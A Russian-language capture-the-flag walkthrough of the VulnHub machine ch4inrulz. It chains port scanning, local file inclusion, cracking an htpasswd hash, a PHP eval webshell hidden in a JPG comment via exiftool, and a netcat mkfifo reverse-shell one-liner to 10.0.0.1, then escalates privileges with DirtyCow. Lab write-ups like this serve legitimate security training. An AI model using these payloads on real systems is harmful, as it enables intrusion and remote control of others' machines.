Разбираем уязвимость от забытого комментария до полной компрометации


В этой статье нам предстоит преодолеть длинную цепочку препятствий на пути к заветному руту. По дороге мы в разных вариантах обнаружим уязвимости типа LFI, RCE и эскалации привилегий. А упражняться будем на виртуальной машине ch4inrulz: 1.0.1, полученной с VulhHub.

INFO

VulnHub — ресурс, который предоставляет образы операционных систем с сервисами, в которых «зашиты» уязвимости. Скачав такой образ, любой желающий может получить опыт взлома или системного администрирования.

Также читай наш предыдущий отчет — о взломе виртуальной машины Wakanda: 1.Сканирование портов

Итак, мы скачали и развернули виртуальную машину. Начнем с классики: сканируем ее при помощи Nmap. Для этого выполним такую команду (если захочешь повторить, IP будет другим):

$ nmap -Pn -A 192.168.56.101

Обнаруживаем, что у тачки торчат порты 21/22, то есть FTP и SSH, а также 80 и 8011 — с веб-сервером.

Можно, конечно, первым делом ринуться на FTP, но делать этого мы не будем, а вместо этого постучимся на веб-сервер и проведем небольшую разведку. На 80-м порте видим сайт некоего Франка, но никакого интересного интерактива на нем нет.

На 8011-м порте видим заманчивое сообщение, но больше ничего полезного на странице не нашлось.

 


Фаззинг директорий

Пришло время фаззинга директорий! Делается он для того, чтобы обнаружить какие-то стандартные или интересные пути, где могут быть забыты важные файлы или сервисы, которые нам могут помочь в дальнейшей работе.

Первым мы исследовали 80-й порт, где обнаружился путь /development.

Тут нас встречает basic authentication — пробуем HTTP Verb Tampering, но безуспешно.

INFO

HTTP Verb Tampering — атака, которая использует уязвимость в HTTP-Verb-аутентификации и механизмах контроля доступа. Многие механизмы аутентификации только ограничивают доступ по своим параметрам, не предусматривая несанкционированный доступ к закрытым ресурсам с помощью других методов.

Можно начать брутить, но прежде посмотрим, что нам даст фаззинг на 8011-м порте.

Интересно! Кажется, мы нашли API какого-то приложения. Срочно лезем смотреть!

 


Local File Inclusion

Из перечисленных файлов в живых остался только files_api.php.

Окей, для работы скрипта требуется параметр file. Давай передадим его.

Кажется, нас спалили! Попытка перебора стандартных файлов и проверка на напрашивающийся LFI не сработали через запросы GET. На данном этапе эта точка наиболее интересна, так что давай попробуем поиграться с ней, а не копать дальше. Первая мысль, что пришла в голову: а что, если попробовать POST?

Успех! Нам даже не пришлось заморачиваться с врапперами, null-байтами и прочими ухищрениями для тестирования возможности эксплуатации уязвимостей типа LFI, которую мы заподозрили ранее.

Теперь хотелось бы посмотреть на исходники веб-приложений. Для этого придется немного помучиться с угадыванием путей, что в итоге приведет нас к следующему.

Для поиска путей можно использовать разные словари, однако нам хватило и ручного перебора по стандартным вебовым путям из головы. 

Отлично, теперь мы знаем, что корневая папка веба — /var/www. Попытка проверить содержание конфигурационных файлов в этой директории не увенчалась успехом, но мы знаем про папку /development. А там нас ждет очередная удача.

Теперь заглянем в /etc/.htpasswd.

А вот, кажется, и креды от basic authentication. Осталось сломать хеш от пароля.

Воспользуемся для этого утилитой hashcat и словариком rockyou.

$ hashcat -a 0 -m 1600 hash Downloads/rockyou.txt

Здесь

  • -a 0 — тип атаки по словарю;
  • -m 1600 — номер типа хеша. В нашем случае — Apache $apr1$ MD5, md5apr1, MD5 (APR). Узнать этот номер можно здесь);
  • hash — файлик с хешем $apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0;
  • Downloads/rockyou.txt — путь до словаря.

В результате получаем пароль!

Кстати, потом обнаружилось, что хеш можно было получить, выкачав доступный index.html.bak на 80-м порте, но было уже поздно. 

Мы же бежим смотреть, что находится за basic authentication с кредами frank:frank!!!. Там нас встречает следующая страница.

Опять никаких ссылок, и нам снова приходится мучиться с угадыванием пути, но тут все тривиально.

Мы нашли сервис для загрузки картинок. Заманчиво, но давай сначала взглянем на исходники. Как ты помнишь, мы уже можем это сделать. Но без врапперов тут уже не обойтись.

Раскрываем это в читабельном виде.

Получили следующий исходник.

<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

Первая идея — впихнуть в метаданные картинки код на PHP, который мы потом сможем исполнить благодаря обнаруженной ранее LFI.

Осталось подготовить пейлоад. Для этого берем любую картинку в JPG и с помощью exiftool положим в comment нужный нам код при помощи вот такой команды:

$ exiftool -comment="<?php eval(\$_POST[0]); ?>" payload1.jpg

Теперь идем загружать!

Отлично, но где сам файл? Самые наблюдательные могли увидеть его в сорцах, которые мы вытащили ранее.

Пора инклудить!

Ура!

 


Получаем RCE

Теперь формируем запрос на проброс реверс-шелла. Если подробнее, то URL-энкодим вот такой пейлоад:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Затем отправляем его в функции urldecode и system. Кстати, разные полезные нагрузки ты можешь позаимствовать здесь.

В результате ловим сессию.

 


Эскалация привилегий

Проверим, что за система крутится на тачке.

Нам несказанно повезло, ведь мы можем получить рут при помощи эксплоита для уязвимости DirtyCow. Находим его в ExploitDB и, следуя инструкции, исполняем.

Тачка наша, расходимся!

 


Кратко о главном

На машине мы обнаружили торчащие наружу FTP (который в нашем решении не пригодился), SSH и два веб-приложения. Благодаря LFI в одном из них мы разжились кредами для basic authentication, где нашелся сервис для аплоада картинок. Загрузив вредоносную картинку, мы получили RCE, проинклудив ее через LFI. Далее мы завладели правами рута при помощи эксплоита DirtyCow. Вот и все! При желании можешь скачать виртуалку и попробовать проделать все то же, не подглядывая сюда